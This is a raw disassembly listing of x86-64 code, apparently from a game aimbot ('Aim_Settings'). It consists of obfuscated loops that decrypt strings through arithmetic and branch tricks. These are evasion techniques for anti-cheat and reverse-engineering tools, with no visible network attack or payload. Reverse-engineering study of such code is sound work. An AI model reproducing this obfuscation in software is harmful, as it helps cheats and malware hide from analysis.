jb 0x14007fd6b
lea rcx, [r8 + 0x61]
cmp rbx, rcx
jb 0x14007f750
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007f735
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007f71a
mov rbx, rcx
lea r8, [rcx + 1]
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14007f7df
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x14007f7c4
lea rcx, [r8 + 1]
cmp rbx, rcx
ja 0x14007f7a1
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007f786
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007f76b
mov rbx, rcx
lea r8, [rcx + 6]
jmp 0x14007f640
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x59
jmp 0x14007f630
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
jmp 0x14007f5d0
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
jmp 0x14007f566
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14007fcb7
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
jmp 0x14007fcba
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx edx, r10b
jmp 0x14007fba9
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x14007fcf4
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x550]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f553
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14007fcb7
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007fc95
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007f553
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x14007f553
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007fc2d
lea r11, [r8 + 1]
cmp rbx, r11
jae 0x14007f94a
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
cmp rdx, 0x61
je 0x14007fb6d
cmp rbx, r11
jbe 0x14007f9f8
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
cmp rbx, 1
jae 0x14007fb46
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007fa95
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x550]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f553
jne 0x14007f97d
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x550]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f9a4
movzx edx, r10b
lea ecx, [rdx + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x14007fba9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f9cc
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fcb7
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007f8d9
movzx r11d, r10b
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x14007fc2d
jne 0x14007fa19
movzx r11d, r10b
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6b
jmp 0x14007fc2d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007fa46
lea ecx, [r10 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
inc r8
dec r10
inc r10
jmp 0x14007f553
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007fa6a
lea ecx, [r10 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
jmp 0x14007fcba
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007f902
movzx edx, r10b
lea ecx, [rdx - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
jmp 0x14007fba9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007fabd
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fcf4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007fae4
movzx edx, r10b
lea ecx, [rdx + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x14007fba9
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007fb0c
movzx r11d, r10b
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x14007fc2d
cmp r8, 6
jb 0x14007fb36
movzx r11d, r10b
lea ecx, [r11 - 0x4e]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14007fc2d
mov byte [rbp + r10 + 0x550], dil
inc r10
jmp 0x14007f553
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x550]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007fc95
movzx edx, r10b
lea ecx, [rdx - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x550]
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x14007fba9
movzx edx, r10b
lea ecx, [rdx + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
inc dl
movzx eax, dl
and al, r9b
add al, al
sub dl, al
sub dl, 7
add dl, r9b
movzx eax, dl
mov byte [rbp + r10 + 0x550], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14007fcf4
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x75
jmp 0x14007fcba
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
inc r8
dec r10
inc r10
jmp 0x14007f553
movzx r11d, r10b
lea ecx, [r11 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
sub r11b, 0xb
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x4d
add r11b, r9b
mov byte [rbp + r10 + 0x550], r11b
inc r8
dec r10
inc r10
jmp 0x14007f553
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
dec r10
inc r10
jmp 0x14007f553
movzx r11d, r10b
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2f
add r11b, 0x7b
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x5d
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x550], r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007f553
lea rdx, [r10 + 0x45c4f]
movzx r9d, r11b
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x29
add dil, dl
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x550], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x550]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f553
lea rcx, [r10 + 0x29dc9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7f
movzx eax, byte [rbp + r10 + 0x550]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f553
sub r10b, 0x31
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x57
jmp 0x14007f550
add r10b, 0x49
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
inc dil
jmp 0x14007f540
lea rcx, [rbp + 0x1560654]
jmp 0x14007fdbd
lea rcx, [rbp + 0xd6e597]
jmp 0x14007fdbd
lea rcx, [rbp + 0x550]
lea rdx, [0x1401de733]
call fcn.1400393c0
call fcn.14000c740
mov dword [rbp + 0x1c], 0x43bf0000
mov dword [rbp + 0x20], 0x428c0000
lea rcx, [rbp + 0x1c]
call fcn.14001a180
mov dword [rbp + 0x24], 0x438d0000
mov dword [rbp + 0x28], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x24]
lea rcx, str.Aim_Settings
call fcn.1400097c0
mov byte [rbp + 0x2e0], 0xf6
mov byte [rbp + 0x2e1], 0xfe
mov byte [rbp + 0x2e2], 0xe8
mov byte [rbp + 0x2e3], 0x43
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2e4], xmm0
mov qword [rbp + 0x2f4], rax
mov word [rbp + 0x2fc], ax
mov byte [rbp + 0x2fe], al
movabs r14, 0xd129d9f913632876
movabs r12, 0x15d141dd60efca4e
movabs r15, 0x737d8deb3a297962
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop dword [rax + rax]
mov r10, r13
cmp r10, 0x1f
jae 0x140080a01
movzx r9d, byte [rbp + r10 + 0x2e0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400809f8
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007fecc
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x3a
jmp 0x14007ff00
je 0x140080981
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080924
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400808c5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008089d
nop dword [rax]
cmp r8, r10
ja 0x1400809ef
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14007ff2e
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ff70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140080852
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080847
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080825
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140080809
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400807ba
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400804e0
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400804c0
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008049b
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140080476
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140080456
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140080437
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008041b
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140080409
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400803ea
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400803b9
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007ff80
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400809cf
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400809b2
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008016d
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140080152
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140080137
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008036b
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140080329
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400802e4
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400802bd
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007ff80
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008028f
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140080270
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140080251
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140080232
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140080217
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400801f4
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400801d3
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400801ab
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14008018c
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007ff80
lea rbx, [r8 + 9]
lea r8, [rbx + 0xa]
jmp 0x14007ff80
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
jmp 0x14007ff70
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x14007ff00
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fe96
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx r11d, r10b
jmp 0x140080870
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007fe83
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
dec r10
inc r10
jmp 0x14007fe83
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400808e3
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140080908
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008090b
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
movzx r11d, r10b
jmp 0x1400807d8
lea edx, [r10 - 4]
movzx eax, r9b
and al, dl
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008093e
lea ecx, [r10 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fe83
lea ecx, [r10 - 0x3e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4e
mov byte [rbp + r10 + 0x2e0], dil
inc r10
jmp 0x14007fe83
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 6
jb 0x1400802d4
movzx r11d, r10b
lea edx, [r11 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x38]
jmp 0x140080870
lea edx, [r10 - 0x16]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x66
add dil, dl
cmp rbx, 0x61
jae 0x14008077f
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400806a9
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
jmp 0x1400802f3
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x1400807a3
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x1400805bf
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140080340
lea edx, [r10 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fe83
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x14008093e
movzx r11d, r10b
lea edx, [r11 + 0x3c]
mov ecx, 0x2e
jmp 0x1400807c7
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
jmp 0x14008090b
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140080908
movzx r11d, r10b
lea edx, [r11 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
jmp 0x1400808e0
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007fe83
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x14007fe83
movzx r11d, r10b
lea edx, [r11 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008086d
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140080508
lea edx, [r10 + 0x76]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3a
jmp 0x140080382
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080542
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fe83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008056b
movzx r11d, r10b
lea edx, [r11 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
jmp 0x1400807d5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140080590
lea ecx, [r10 + 0xc]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x54
jmp 0x140080908
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140080385
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3c
dec r10
inc r10
jmp 0x14007fe83
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400805e8
movzx r11d, r10b
lea edx, [r11 + 0xa]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x46
jmp 0x14008086d
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080603
movzx r11d, r10b
lea edx, [r11 - 0x32]
mov ecx, 0x2f
jmp 0x1400808d2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140080628
lea ecx, [r10 - 0x46]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x16
jmp 0x140080908
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140080643
movzx r11d, r10b
lea edx, [r11 - 0x6e]
mov ecx, 1
jmp 0x1400807c7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008066b
lea edx, [r10 + 0x7e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x72
add dil, dl
jmp 0x14008093e
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140080343
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fe83
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400806e0
lea ecx, [r10 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fe83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400806fb
movzx r11d, r10b
lea edx, [r11 - 0x70]
mov ecx, 8
jmp 0x1400807c7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080724
movzx r11d, r10b
lea edx, [r11 + 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4c
jmp 0x1400808e0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140080752
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007fe83
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400802fe
movzx r11d, r10b
lea edx, [r11 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008086d
movzx r11d, r10b
lea edx, [r11 - 0x10]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x2e0]
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
jmp 0x1400808e0
movzx r11d, r10b
lea ecx, [r11 - 0x24]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 4]
jmp 0x1400807d8
movzx r11d, r10b
lea edx, [r11 + 0x22]
mov ecx, 9
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x52
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x3e
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x2e0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14008093e
lea ecx, [r10 + 0x36]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7a
jmp 0x14008090b
lea ecx, [r10 + 0x72]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1e
dec r10
inc r10
jmp 0x14007fe83
lea edx, [r10 - 0x7a]
mov ecx, 0x2b
jmp 0x1400808a6
movzx r11d, r10b
lea edx, [r11 - 0x66]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x36
add dil, dl
add r11b, 0x7a
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x56
add r11b, r9b
mov byte [rbp + r10 + 0x2e0], r11b
inc r8
dec r10
inc r10
jmp 0x14007fe83
lea edx, [r10 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14007fe83
movzx r11d, r10b
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x66
movzx eax, r11b
and al, r9b
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, dil
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x2e0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007fe83
lea rcx, [r10 + r12]
movzx r9d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x78
add cl, r9b
mov byte [rbp + r10 + 0x2e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fe83
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x29
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fe83
add r10b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
jmp 0x14007fe80
add r10b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007fe68
lea rcx, [rbp + 0x15f3228]
jmp 0x140080a08
lea rcx, [rbp + 0x1425a9e]
jmp 0x140080a08
lea rcx, [rbp + 0x2e0]
mov dword [rsp + 0x28], r13d
lea r12, str._.3f
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x14014a0c8]
movss xmm2, dword [0x1401453c0]
lea rdx, [0x1401dc6b8]
call fcn.14003eeb0
mov byte [rbp + 0x300], 0xab
mov byte [rbp + 0x301], 0xb6
mov byte [rbp + 0x302], 0xb1
mov byte [rbp + 0x303], 0xb2
mov byte [rbp + 0x304], 0x8e
mov byte [rbp + 0x305], 0xa5
mov byte [rbp + 0x306], 0xa7
mov byte [rbp + 0x307], 0xa9
mov byte [rbp + 0x308], 0xa7
mov byte [rbp + 0x309], 0x19
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30a], xmm0
mov dword [rbp + 0x31a], eax
mov byte [rbp + 0x31e], al
movabs rsi, 0xd7ae16298952c2b
movabs r15, 0x5e5c29b22c14352d
movabs r14, 0x2870a427c9bf8481
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
mov r10, r13
cmp r10, 0x1f
jae 0x1400814c4
movzx r9d, byte [rbp + r10 + 0x300]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400814bb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140080b1c
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x2d
